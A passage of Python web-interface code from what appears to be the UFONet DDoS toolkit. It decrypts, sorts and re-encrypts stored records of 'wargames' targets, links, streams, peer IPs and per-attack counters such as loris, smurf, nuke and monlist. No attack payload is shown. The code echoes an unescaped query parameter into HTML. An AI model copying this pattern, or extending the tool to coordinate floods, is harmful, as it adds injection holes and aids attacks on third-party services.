  4684. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  4685. f.write(l)
  4686. f.close()
  4687. except:
  4688. pass
  4689. if page == "/cmd_job_cancel_all_update":
  4690. if not os.path.exists('/tmp/out'):
  4691. open('/tmp/out', 'w').close()
  4692. with open('/tmp/out', 'r') as f:
  4693. self.pages["/cmd_job_cancel_all_update"] = "<pre>"+f.read()+"<pre>"
  4694. if page == "/cmd_job_filter":
  4695. try:
  4696. job_filter = pGet["filter"]
  4697. job_key = pGet["key"]
  4698. except:
  4699. job_filter = "creation"
  4700. job_key = str(self.crypto_key)
  4701. self.pages["/cmd_job_filter"] = "<pre>Ordering wargames by: "+job_filter+"</pre>"
  4702. nodec_text = "KEY?"
  4703. try:
  4704. wargames_items=[]
  4705. with open(self.wargames_file) as f:
  4706. ls = f.read().splitlines()
  4707. f.close()
  4708. f = open(self.wargames_file,"w")
  4709. for j in ls:
  4710. if wargames_msg_sep in j:
  4711. m = j.split(wargames_msg_sep)
  4712. wargames_creation = m[0] # creation date
  4713. self.decrypt(job_key, wargames_creation)
  4714. if self.decryptedtext:
  4715. wargames_creation = self.decryptedtext
  4716. else:
  4717. wargames_creation = nodec_text
  4718. self.decryptedtext = "" # clean decryptedtext buffer
  4719. wargames_target = m[1] # target
  4720. self.decrypt(job_key, wargames_target)
  4721. if self.decryptedtext:
  4722. wargames_target = self.decryptedtext
  4723. if wargames_target.startswith("www."):
  4724. wargames_target = wargames_target.replace("www.","")
  4725. else:
  4726. wargames_target = nodec_text
  4727. self.decryptedtext = "" # clean decryptedtext buffer
  4728. wargames_estimated = m[2] # estimated date
  4729. self.decrypt(job_key, wargames_estimated)
  4730. if self.decryptedtext:
  4731. wargames_estimated = self.decryptedtext
  4732. else:
  4733. wargames_estimated = nodec_text
  4734. self.decryptedtext = "" # clean decryptedtext buffer
  4735. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  4736. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  4737. wargames_items.append([wargames_creation,wargames_target,wargames_estimated])
  4738. if job_filter == "creation":
  4739. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  4740. elif job_filter == "target":
  4741. wargames_items=sorted(wargames_items,key=lambda x:x[1]) # sorted by target
  4742. elif job_filter == "estimated":
  4743. wargames_items=sorted(wargames_items,key=lambda x:x[2]) # sorted by estimated
  4744. else:
  4745. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  4746. for i in wargames_items:
  4747. wargames_creation = i[0]
  4748. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  4749. self.encrypt(job_key, wargames_creation)
  4750. if self.encryptedtext:
  4751. wargames_creation = self.encryptedtext
  4752. self.encryptedtext = "" # clean encryptedtext buffer
  4753. wargames_target = str(i[1])
  4754. self.encrypt(job_key, wargames_target)
  4755. if self.encryptedtext:
  4756. wargames_target = self.encryptedtext
  4757. self.encryptedtext = "" # clean encryptedtext buffer
  4758. wargames_estimated = i[2]
  4759. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  4760. self.encrypt(job_key, wargames_estimated)
  4761. if self.encryptedtext:
  4762. wargames_estimated = self.encryptedtext
  4763. self.encryptedtext = "" # clean encryptedtext buffer
  4764. l = str(wargames_creation) + wargames_msg_sep + str(wargames_target) + wargames_msg_sep + str(wargames_estimated)
  4765. f.write(l + os.linesep)
  4766. f.close()
  4767. except:
  4768. pass
  4769. if page == "/cmd_job_filter_update":
  4770. if not os.path.exists('/tmp/out'):
  4771. open('/tmp/out', 'w').close()
  4772. with open('/tmp/out', 'r') as f:
  4773. self.pages["/cmd_job_filter_update"] = "<pre>"+f.read()+"<pre>"
  4774. if page == "/cmd_link_filter":
  4775. try:
  4776. link_filter = pGet["filter"]
  4777. link_key = pGet["key"]
  4778. except:
  4779. link_filter = "creation"
  4780. link_key = str(self.crypto_key)
  4781. self.pages["/cmd_link_filter"] = "<pre>Ordering links by: "+link_filter+"</pre>"
  4782. nodec_text = "KEY?"
  4783. try:
  4784. links_items=[]
  4785. with open(self.links_file) as f:
  4786. ls = f.read().splitlines()
  4787. f.close()
  4788. f = open(self.links_file,"w")
  4789. for j in ls:
  4790. if links_msg_sep in j:
  4791. m = j.split(links_msg_sep)
  4792. link_creation = m[0] # creation date
  4793. self.decrypt(link_key, link_creation)
  4794. if self.decryptedtext:
  4795. link_creation = self.decryptedtext
  4796. else:
  4797. link_creation = nodec_text
  4798. self.decryptedtext = "" # clean decryptedtext buffer
  4799. link_url = m[1] # url
  4800. self.decrypt(link_key, link_url)
  4801. if self.decryptedtext:
  4802. link_url = self.decryptedtext
  4803. if link_url.startswith("www."):
  4804. link_url = link_url.replace("www.","")
  4805. else:
  4806. link_url = nodec_text
  4807. self.decryptedtext = "" # clean decryptedtext buffer
  4808. link_topic = m[2] # topic
  4809. self.decrypt(link_key, link_topic)
  4810. if self.decryptedtext:
  4811. link_topic = self.decryptedtext
  4812. else:
  4813. link_topic = nodec_text
  4814. self.decryptedtext = "" # clean decryptedtext buffer
  4815. link_creation = strptime(link_creation, "%d-%m-%Y %H:%M:%S")
  4816. links_items.append([link_creation,link_url,link_topic])
  4817. if link_filter == "creation":
  4818. links_items=sorted(links_items,key=lambda x:x[0]) # sorted by creation
  4819. elif link_filter == "url":
  4820. links_items=sorted(links_items,key=lambda x:x[1]) # sorted by url
  4821. elif link_filter == "topic":
  4822. links_items=sorted(links_items,key=lambda x:x[2]) # sorted by topic
  4823. else:
  4824. links_items=sorted(links_items,key=lambda x:x[0]) # sorted by creation
  4825. for i in links_items:
  4826. link_creation = i[0]
  4827. link_creation = strftime("%d-%m-%Y %H:%M:%S", link_creation)
  4828. self.encrypt(link_key, link_creation)
  4829. if self.encryptedtext:
  4830. link_creation = self.encryptedtext
  4831. else:
  4832. link_creation = nodec_text
  4833. self.encryptedtext = "" # clean encryptedtext buffer
  4834. link_url = str(i[1])
  4835. self.encrypt(link_key, link_url)
  4836. if self.encryptedtext:
  4837. link_url = self.encryptedtext
  4838. else:
  4839. link_url = nodec_text
  4840. self.encryptedtext = "" # clean encryptedtext buffer
  4841. link_topic = str(i[2])
  4842. self.encrypt(link_key, link_topic)
  4843. if self.encryptedtext:
  4844. link_topic = self.encryptedtext
  4845. else:
  4846. link_topic = nodec_text
  4847. self.encryptedtext = "" # clean encryptedtext buffer
  4848. l = str(link_creation) + links_msg_sep + str(link_url) + links_msg_sep + str(link_topic)
  4849. f.write(l + os.linesep)
  4850. f.close()
  4851. except:
  4852. pass
  4853. if page == "/cmd_link_filter_update":
  4854. if not os.path.exists('/tmp/out'):
  4855. open('/tmp/out', 'w').close()
  4856. with open('/tmp/out', 'r') as f:
  4857. self.pages["/cmd_link_filter_update"] = "<pre>"+f.read()+"<pre>"
  4858. if page == "/cmd_stream_filter":
  4859. try:
  4860. stream_filter = pGet["filter"]
  4861. stream_key = pGet["key"]
  4862. except:
  4863. stream_filter = "creation"
  4864. stream_key = str(self.crypto_key)
  4865. self.pages["/cmd_stream_filter"] = "<pre>Ordering streams by: "+stream_filter+"</pre>"
  4866. nodec_text = "KEY?"
  4867. try:
  4868. streams_items=[]
  4869. with open(self.streams_file) as f:
  4870. ls = f.read().splitlines()
  4871. f.close()
  4872. f = open(self.streams_file,"w")
  4873. for j in ls:
  4874. if streams_msg_sep in j:
  4875. m = j.split(streams_msg_sep)
  4876. stream_creation = m[0] # creation date
  4877. self.decrypt(stream_key, stream_creation)
  4878. if self.decryptedtext:
  4879. stream_creation = self.decryptedtext
  4880. else:
  4881. stream_creation = nodec_text
  4882. self.decryptedtext = "" # clean decryptedtext buffer
  4883. stream_url = m[1] # url
  4884. self.decrypt(stream_key, stream_url)
  4885. if self.decryptedtext:
  4886. stream_url = self.decryptedtext
  4887. if stream_url.startswith("www."):
  4888. stream_url = stream_url.replace("www.","")
  4889. else:
  4890. stream_url = nodec_text
  4891. self.decryptedtext = "" # clean decryptedtext buffer
  4892. stream_topic = m[2] # topic
  4893. self.decrypt(stream_key, stream_topic)
  4894. if self.decryptedtext:
  4895. stream_topic = self.decryptedtext
  4896. else:
  4897. stream_topic = nodec_text
  4898. self.decryptedtext = "" # clean decryptedtext buffer
  4899. stream_creation = strptime(stream_creation, "%d-%m-%Y %H:%M:%S")
  4900. streams_items.append([stream_creation,stream_url,stream_topic])
  4901. if stream_filter == "creation":
  4902. streams_items=sorted(streams_items,key=lambda x:x[0]) # sorted by creation
  4903. elif stream_filter == "url":
  4904. streams_items=sorted(streams_items,key=lambda x:x[1]) # sorted by url
  4905. elif stream_filter == "topic":
  4906. streams_items=sorted(streams_items,key=lambda x:x[2]) # sorted by topic
  4907. else:
  4908. streams_items=sorted(streams_items,key=lambda x:x[0]) # sorted by creation
  4909. for i in streams_items:
  4910. stream_creation = i[0]
  4911. stream_creation = strftime("%d-%m-%Y %H:%M:%S", stream_creation)
  4912. self.encrypt(stream_key, stream_creation)
  4913. if self.encryptedtext:
  4914. stream_creation = self.encryptedtext
  4915. else:
  4916. stream_creation = nodec_text
  4917. self.encryptedtext = "" # clean encryptedtext buffer
  4918. stream_url = str(i[1])
  4919. self.encrypt(stream_key, stream_url)
  4920. if self.encryptedtext:
  4921. stream_url = self.encryptedtext
  4922. else:
  4923. stream_url = nodec_text
  4924. self.encryptedtext = "" # clean encryptedtext buffer
  4925. stream_topic = str(i[2])
  4926. self.encrypt(stream_key, stream_topic)
  4927. if self.encryptedtext:
  4928. stream_topic = self.encryptedtext
  4929. else:
  4930. stream_topic = nodec_text
  4931. self.encryptedtext = "" # clean encryptedtext buffer
  4932. l = str(stream_creation) + streams_msg_sep + str(stream_url) + streams_msg_sep + str(stream_topic)
  4933. f.write(l + os.linesep)
  4934. f.close()
  4935. except:
  4936. pass
  4937. if page == "/cmd_stream_filter_update":
  4938. if not os.path.exists('/tmp/out'):
  4939. open('/tmp/out', 'w').close()
  4940. with open('/tmp/out', 'r') as f:
  4941. self.pages["/cmd_stream_filter_update"] = "<pre>"+f.read()+"<pre>"
  4942. if page == "/cmd_globalnet_filter":
  4943. try:
  4944. globalnet_filter = pGet["filter"]
  4945. globalnet_key = pGet["key"]
  4946. except:
  4947. globalnet_filter = "owner"
  4948. globalnet_key = str(self.crypto_key)
  4949. self.pages["/cmd_globalnet_filter"] = "<pre>Ordering Global.Net by: "+globalnet_filter+"</pre>"
  4950. nodec_text = "KEY?"
  4951. try:
  4952. globalnet_items=[]
  4953. with open(self.globalnet_file) as f:
  4954. ls = f.read().splitlines()
  4955. f.close()
  4956. f = open(self.globalnet_file,"w")
  4957. for j in ls:
  4958. if globalnet_msg_sep in j:
  4959. m = j.split(globalnet_msg_sep)
  4960. globalnet_owner = m[0] # owner
  4961. self.decrypt(globalnet_key, globalnet_owner)
  4962. if self.decryptedtext:
  4963. globalnet_owner = self.decryptedtext
  4964. else:
  4965. globalnet_owner = nodec_text
  4966. self.decryptedtext = "" # clean decryptedtext buffer
  4967. globalnet_comment = m[1] # comment
  4968. self.decrypt(globalnet_key, globalnet_comment)
  4969. if self.decryptedtext:
  4970. globalnet_comment = self.decryptedtext
  4971. else:
  4972. globalnet_comment = nodec_text
  4973. self.decryptedtext = "" # clean decryptedtext buffer
  4974. globalnet_warp = m[2] # warp
  4975. self.decrypt(globalnet_key, globalnet_warp)
  4976. if self.decryptedtext:
  4977. globalnet_warp = self.decryptedtext
  4978. else:
  4979. globalnet_warp = nodec_text
  4980. self.decryptedtext = "" # clean decryptedtext buffer
  4981. globalnet_ip = m[3] # ip
  4982. self.decrypt(globalnet_key, globalnet_ip)
  4983. if self.decryptedtext:
  4984. globalnet_ip = self.decryptedtext
  4985. else:
  4986. globalnet_ip = nodec_text
  4987. self.decryptedtext = "" # clean decryptedtext buffer
  4988. globalnet_items.append([globalnet_owner,globalnet_comment,globalnet_warp,globalnet_ip])
  4989. if globalnet_filter == "owner":
  4990. globalnet_items=sorted(globalnet_items,key=lambda x:x[0]) # sorted by owner
  4991. elif globalnet_filter == "comment":
  4992. globalnet_items=sorted(globalnet_items,key=lambda x:x[1]) # sorted by comment
  4993. elif globalnet_filter == "warp":
  4994. globalnet_items=sorted(globalnet_items,key=lambda x:x[2]) # sorted by warp
  4995. elif globalnet_filter == "ip":
  4996. globalnet_items=sorted(globalnet_items,key=lambda x:x[3]) # sorted by ip
  4997. else:
  4998. globalnet_items=sorted(globalnet_items,key=lambda x:x[0]) # sorted by owner
  4999. for i in globalnet_items:
  5000. globalnet_owner = str(i[0])
  5001. self.encrypt(globalnet_key, globalnet_owner)
  5002. if self.encryptedtext:
  5003. globalnet_owner = self.encryptedtext
  5004. else:
  5005. globalnet_owner = nodec_text
  5006. self.encryptedtext = "" # clean encryptedtext buffer
  5007. globalnet_comment = str(i[1])
  5008. self.encrypt(globalnet_key, globalnet_comment)
  5009. if self.encryptedtext:
  5010. globalnet_comment = self.encryptedtext
  5011. else:
  5012. globalnet_comment = nodec_text
  5013. self.encryptedtext = "" # clean encryptedtext buffer
  5014. globalnet_warp = str(i[2])
  5015. self.encrypt(globalnet_key, globalnet_warp)
  5016. if self.encryptedtext:
  5017. globalnet_warp = self.encryptedtext
  5018. else:
  5019. globalnet_warp = nodec_text
  5020. self.encryptedtext = "" # clean encryptedtext buffer
  5021. globalnet_ip = str(i[3])
  5022. self.encrypt(globalnet_key, globalnet_ip)
  5023. if self.encryptedtext:
  5024. globalnet_ip = self.encryptedtext
  5025. else:
  5026. globalnet_ip = nodec_text
  5027. self.encryptedtext = "" # clean encryptedtext buffer
  5028. l = str(globalnet_owner) + globalnet_msg_sep + str(globalnet_comment) + globalnet_msg_sep + str(globalnet_warp) + globalnet_msg_sep + str(globalnet_ip)
  5029. f.write(l + os.linesep)
  5030. f.close()
  5031. except:
  5032. pass
  5033. if page == "/cmd_globalnet_filter_update":
  5034. if not os.path.exists('/tmp/out'):
  5035. open('/tmp/out', 'w').close()
  5036. with open('/tmp/out', 'r') as f:
  5037. self.pages["/cmd_globalnet_filter_update"] = "<pre>"+f.read()+"<pre>"
  5038. if page == "/cmd_grid_filter":
  5039. try:
  5040. grid_filter = pGet["filter"]
  5041. grid_key = pGet["key"]
  5042. except:
  5043. grid_filter = "missions" # default grid order by
  5044. grid_key = str(self.crypto_key)
  5045. self.pages["/cmd_grid_filter"] = "<pre>Ordering grid by: "+grid_filter+"</pre>"
  5046. nodec_text = "KEY?"
  5047. nodec_num = 0
  5048. try:
  5049. grid_items=[]
  5050. with open(self.grid_file) as f:
  5051. ls = f.read().splitlines()
  5052. f.close()
  5053. f = open(self.grid_file,"w")
  5054. for j in ls:
  5055. if grid_msg_sep in j:
  5056. version = j.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2)
  5057. m = j.split(grid_msg_sep)
  5058. grid_nickname = m[0] # nickname
  5059. self.decrypt(grid_key, grid_nickname)
  5060. if self.decryptedtext:
  5061. grid_nickname = str(self.decryptedtext)
  5062. else:
  5063. grid_nickname = nodec_text
  5064. self.decryptedtext = "" # clean decryptedtext buffer
  5065. grid_ranking = m[1] # ranking
  5066. self.decrypt(grid_key, grid_ranking)
  5067. if self.decryptedtext:
  5068. try:
  5069. grid_ranking = int(self.decryptedtext)
  5070. except:
  5071. grid_ranking = nodec_num
  5072. else:
  5073. grid_ranking = nodec_num
  5074. self.decryptedtext = "" # clean decryptedtext buffer
  5075. grid_totalchargo = m[2] # total chargo
  5076. self.decrypt(grid_key, grid_totalchargo)
  5077. if self.decryptedtext:
  5078. try:
  5079. grid_totalchargo = int(self.decryptedtext)
  5080. except:
  5081. grid_totalchargo = nodec_num
  5082. else:
  5083. grid_totalchargo = nodec_num
  5084. self.decryptedtext = "" # clean decryptedtext buffer
  5085. grid_dorking = m[3] # dorking
  5086. self.decrypt(grid_key, grid_dorking)
  5087. if self.decryptedtext:
  5088. try:
  5089. grid_dorking = int(self.decryptedtext)
  5090. except:
  5091. grid_dorking = nodec_num
  5092. else:
  5093. grid_dorking = nodec_num
  5094. self.decryptedtext = "" # clean decryptedtext buffer
  5095. grid_transferred = m[4] # transferred
  5096. self.decrypt(grid_key, grid_transferred)
  5097. if self.decryptedtext:
  5098. try:
  5099. grid_transferred = int(self.decryptedtext)
  5100. except:
  5101. grid_transferred = nodec_num
  5102. else:
  5103. grid_transferred = nodec_num
  5104. self.decryptedtext = "" # clean decryptedtext buffer
  5105. grid_maxchargo = m[5] # maxchargo
  5106. self.decrypt(grid_key, grid_maxchargo)
  5107. if self.decryptedtext:
  5108. try:
  5109. grid_maxchargo = int(self.decryptedtext)
  5110. except:
  5111. grid_maxchargo = nodec_num
  5112. else:
  5113. grid_maxchargo = nodec_num
  5114. self.decryptedtext = "" # clean decryptedtext buffer
  5115. grid_missions = m[6] # missions
  5116. self.decrypt(grid_key, grid_missions)
  5117. if self.decryptedtext:
  5118. try:
  5119. grid_missions = int(self.decryptedtext)
  5120. except:
  5121. grid_missions = nodec_num
  5122. else:
  5123. grid_missions = nodec_num
  5124. self.decryptedtext = "" # clean decryptedtext buffer
  5125. grid_attacks = m[7] # attacks
  5126. self.decrypt(grid_key, grid_attacks)
  5127. if self.decryptedtext:
  5128. try:
  5129. grid_attacks = int(self.decryptedtext)
  5130. except:
  5131. grid_attacks = nodec_num
  5132. else:
  5133. grid_attacks = nodec_num
  5134. self.decryptedtext = "" # clean decryptedtext buffer
  5135. grid_loic = m[8] # loic
  5136. self.decrypt(grid_key, grid_loic)
  5137. if self.decryptedtext:
  5138. try:
  5139. grid_loic = int(self.decryptedtext)
  5140. except:
  5141. grid_loic = nodec_num
  5142. else:
  5143. grid_loic = nodec_num
  5144. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
  5145. grid_loris = m[9] # loris
  5146. self.decrypt(grid_key, grid_loris)
  5147. if self.decryptedtext:
  5148. try:
  5149. grid_loris = int(self.decryptedtext)
  5150. except:
  5151. grid_loris = nodec_num
  5152. else:
  5153. grid_loris = nodec_num
  5154. self.decryptedtext = "" # clean decryptedtext buffer
  5155. else:
  5156. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  5157. self.decrypt(grid_key, grid_loris)
  5158. if self.decryptedtext:
  5159. try:
  5160. grid_loris = int(self.decryptedtext)
  5161. except:
  5162. grid_loris = nodec_num
  5163. else:
  5164. grid_loris = nodec_num
  5165. self.decryptedtext = "" # clean decryptedtext buffer
  5166. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
  5167. grid_ufosyn = m[10] # ufosyn
  5168. self.decrypt(grid_key, grid_ufosyn)
  5169. if self.decryptedtext:
  5170. try:
  5171. grid_ufosyn = int(self.decryptedtext)
  5172. except:
  5173. grid_ufosyn = nodec_num
  5174. else:
  5175. grid_ufosyn = nodec_num
  5176. self.decryptedtext = "" # clean decryptedtext buffer
  5177. else:
  5178. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  5179. self.decrypt(grid_key, grid_ufosyn)
  5180. if self.decryptedtext:
  5181. try:
  5182. grid_ufosyn = int(self.decryptedtext)
  5183. except:
  5184. grid_ufosyn = nodec_num
  5185. else:
  5186. grid_ufosyn = nodec_num
  5187. self.decryptedtext = "" # clean decryptedtext buffer
  5188. if version > 17 or version == 17 or version == 16 or version == 15:
  5189. grid_spray = m[11] # spray
  5190. self.decrypt(grid_key, grid_spray)
  5191. if self.decryptedtext:
  5192. try:
  5193. grid_spray = int(self.decryptedtext)
  5194. except:
  5195. grid_spray = nodec_num
  5196. else:
  5197. grid_spray = nodec_num
  5198. self.decryptedtext = "" # clean decryptedtext buffer
  5199. else:
  5200. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  5201. self.decrypt(grid_key, grid_spray)
  5202. if self.decryptedtext:
  5203. try:
  5204. grid_spray = int(self.decryptedtext)
  5205. except:
  5206. grid_spray = nodec_num
  5207. else:
  5208. grid_spray = nodec_num
  5209. self.decryptedtext = "" # clean decryptedtext buffer
  5210. if version > 17 or version == 17 or version == 16 or version == 15:
  5211. grid_smurf = m[12] # smurf
  5212. self.decrypt(grid_key, grid_smurf)
  5213. if self.decryptedtext:
  5214. try:
  5215. grid_smurf = int(self.decryptedtext)
  5216. except:
  5217. grid_smurf = nodec_num
  5218. else:
  5219. grid_smurf = nodec_num
  5220. self.decryptedtext = "" # clean decryptedtext buffer
  5221. else:
  5222. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  5223. self.decrypt(grid_key, grid_smurf)
  5224. if self.decryptedtext:
  5225. try:
  5226. grid_smurf = int(self.decryptedtext)
  5227. except:
  5228. grid_smurf = nodec_num
  5229. else:
  5230. grid_smurf = nodec_num
  5231. self.decryptedtext = "" # clean decryptedtext buffer
  5232. if version > 17 or version == 17 or version == 16 or version == 15:
  5233. grid_xmas = m[13] # xmas
  5234. self.decrypt(grid_key, grid_xmas)
  5235. if self.decryptedtext:
  5236. try:
  5237. grid_xmas = int(self.decryptedtext)
  5238. except:
  5239. grid_xmas = nodec_num
  5240. else:
  5241. grid_xmas = nodec_num
  5242. self.decryptedtext = "" # clean decryptedtext buffer
  5243. else:
  5244. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  5245. self.decrypt(grid_key, grid_xmas)
  5246. if self.decryptedtext:
  5247. try:
  5248. grid_xmas = int(self.decryptedtext)
  5249. except:
  5250. grid_xmas = nodec_num
  5251. else:
  5252. grid_xmas = nodec_num
  5253. self.decryptedtext = "" # clean decryptedtext buffer
  5254. if version > 17 or version == 17 or version == 16:
  5255. grid_nuke = m[14] # nuke
  5256. self.decrypt(grid_key, grid_nuke)
  5257. if self.decryptedtext:
  5258. try:
  5259. grid_nuke = int(self.decryptedtext)
  5260. except:
  5261. grid_nuke = nodec_num
  5262. else:
  5263. grid_nuke = nodec_num
  5264. self.decryptedtext = "" # clean decryptedtext buffer
  5265. else:
  5266. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  5267. self.decrypt(grid_key, grid_nuke)
  5268. if self.decryptedtext:
  5269. try:
  5270. grid_nuke = int(self.decryptedtext)
  5271. except:
  5272. grid_nuke = nodec_num
  5273. else:
  5274. grid_nuke = nodec_num
  5275. self.decryptedtext = "" # clean decryptedtext buffer
  5276. if version > 17 or version == 17:
  5277. grid_tachyon = m[15] # tachyon
  5278. self.decrypt(grid_key, grid_tachyon)
  5279. if self.decryptedtext:
  5280. try:
  5281. grid_tachyon = int(self.decryptedtext)
  5282. except:
  5283. grid_tachyon = nodec_num
  5284. else:
  5285. grid_tachyon = nodec_num
  5286. self.decryptedtext = "" # clean decryptedtext buffer
  5287. else:
  5288. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  5289. self.decrypt(grid_key, grid_tachyon)
  5290. if self.decryptedtext:
  5291. try:
  5292. grid_tachyon = int(self.decryptedtext)
  5293. except:
  5294. grid_tachyon = nodec_num
  5295. else:
  5296. grid_tachyon = nodec_num
  5297. self.decryptedtext = "" # clean decryptedtext buffer
  5298. if version > 17: # current version = 26
  5299. grid_monlist = m[16] # monlist
  5300. self.decrypt(grid_key, grid_monlist)
  5301. if self.decryptedtext:
  5302. try:
  5303. grid_monlist = int(self.decryptedtext)
  5304. except:
  5305. grid_monlist = nodec_num
  5306. else:
  5307. grid_monlist = nodec_num
  5308. self.decryptedtext = "" # clean decryptedtext buffer
  5309. grid_fraggle = m[17] # fraggle
  5310. self.decrypt(grid_key, grid_fraggle)
  5311. if self.decryptedtext:
  5312. try:
  5313. grid_fraggle = int(self.decryptedtext)
  5314. except:
  5315. grid_fraggle = nodec_num
  5316. else:
  5317. grid_fraggle = nodec_num
  5318. self.decryptedtext = "" # clean decryptedtext buffer
  5319. grid_sniper = m[18] # sniper
  5320. self.decrypt(grid_key, grid_sniper)
  5321. if self.decryptedtext:
  5322. try:
  5323. grid_sniper = int(self.decryptedtext)
  5324. except:
  5325. grid_sniper = nodec_num
  5326. else:
  5327. grid_sniper = nodec_num
  5328. self.decryptedtext = "" # clean decryptedtext buffer
  5329. grid_ufoack = m[19] # ufoack
  5330. self.decrypt(grid_key, grid_ufoack)
  5331. if self.decryptedtext:
  5332. try:
  5333. grid_ufoack = int(self.decryptedtext)
  5334. except:
  5335. grid_ufoack = nodec_num
  5336. else:
  5337. grid_ufoack = nodec_num
  5338. self.decryptedtext = "" # clean decryptedtext buffer
  5339. grid_uforst = m[20] # uforst
  5340. self.decrypt(grid_key, grid_uforst)
  5341. if self.decryptedtext:
  5342. try:
  5343. grid_uforst = int(self.decryptedtext)
  5344. except:
  5345. grid_uforst = nodec_num
  5346. else:
  5347. grid_uforst = nodec_num
  5348. self.decryptedtext = "" # clean decryptedtext buffer
  5349. grid_droper = m[21] # droper
  5350. self.decrypt(grid_key, grid_droper)
  5351. if self.decryptedtext:
  5352. try:
  5353. grid_droper = int(self.decryptedtext)
  5354. except:
  5355. grid_droper = nodec_num
  5356. else:
  5357. grid_droper = nodec_num
  5358. self.decryptedtext = "" # clean decryptedtext buffer
  5359. grid_overlap = m[22] # overlap
  5360. self.decrypt(grid_key, grid_overlap)
  5361. if self.decryptedtext:
  5362. try:
  5363. grid_overlap = int(self.decryptedtext)
  5364. except:
  5365. grid_overlap = nodec_num
  5366. else:
  5367. grid_overlap = nodec_num
  5368. self.decryptedtext = "" # clean decryptedtext buffer
  5369. grid_pinger = m[23] # pinger
  5370. self.decrypt(grid_key, grid_pinger)
  5371. if self.decryptedtext:
  5372. try:
  5373. grid_pinger = int(self.decryptedtext)
  5374. except:
  5375. grid_pinger = nodec_num
  5376. else:
  5377. grid_pinger = nodec_num
  5378. self.decryptedtext = "" # clean decryptedtext buffer
  5379. grid_ufoudp = m[24] # ufoudp
  5380. self.decrypt(grid_key, grid_ufoudp)
  5381. if self.decryptedtext:
  5382. try:
  5383. grid_ufoudp = int(self.decryptedtext)
  5384. except:
  5385. grid_ufoudp = nodec_num
  5386. else:
  5387. grid_ufoudp = nodec_num
  5388. self.decryptedtext = "" # clean decryptedtext buffer
  5389. else:
  5390. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present
  5391. self.decrypt(grid_key, grid_monlist)
  5392. if self.decryptedtext:
  5393. try:
  5394. grid_monlist = int(self.decryptedtext)
  5395. except:
  5396. grid_monlist = nodec_num
  5397. else:
  5398. grid_monlist = nodec_num
  5399. self.decryptedtext = "" # clean decryptedtext buffer
  5400. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not fraggle present
  5401. self.decrypt(grid_key, grid_fraggle)
  5402. if self.decryptedtext:
  5403. try:
  5404. grid_fraggle = int(self.decryptedtext)
  5405. except:
  5406. grid_fraggle = nodec_num
  5407. else:
  5408. grid_fraggle = nodec_num
  5409. self.decryptedtext = "" # clean decryptedtext buffer
  5410. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not sniper present
  5411. self.decrypt(grid_key, grid_sniper)
  5412. if self.decryptedtext:
  5413. try:
  5414. grid_sniper = int(self.decryptedtext)
  5415. except:
  5416. grid_sniper = nodec_num
  5417. else:
  5418. grid_sniper = nodec_num
  5419. self.decryptedtext = "" # clean decryptedtext buffer
  5420. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoack present
  5421. self.decrypt(grid_key, grid_ufoack)
  5422. if self.decryptedtext:
  5423. try:
  5424. grid_ufoack = int(self.decryptedtext)
  5425. except:
  5426. grid_ufoack = nodec_num
  5427. else:
  5428. grid_ufoack = nodec_num
  5429. self.decryptedtext = "" # clean decryptedtext buffer
  5430. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not uforst present
  5431. self.decrypt(grid_key, grid_uforst)
  5432. if self.decryptedtext:
  5433. try:
  5434. grid_uforst = int(self.decryptedtext)
  5435. except:
  5436. grid_uforst = nodec_num
  5437. else:
  5438. grid_uforst = nodec_num
  5439. self.decryptedtext = "" # clean decryptedtext buffer
  5440. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not droper present
  5441. self.decrypt(grid_key, grid_droper)
  5442. if self.decryptedtext:
  5443. try:
  5444. grid_droper = int(self.decryptedtext)
  5445. except:
  5446. grid_droper = nodec_num
  5447. else:
  5448. grid_droper = nodec_num
  5449. self.decryptedtext = "" # clean decryptedtext buffer
  5450. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not overlap present
  5451. self.decrypt(grid_key, grid_overlap)
  5452. if self.decryptedtext:
  5453. try:
  5454. grid_overlap = int(self.decryptedtext)
  5455. except:
  5456. grid_overlap = nodec_num
  5457. else:
  5458. grid_overlap = nodec_num
  5459. self.decryptedtext = "" # clean decryptedtext buffer
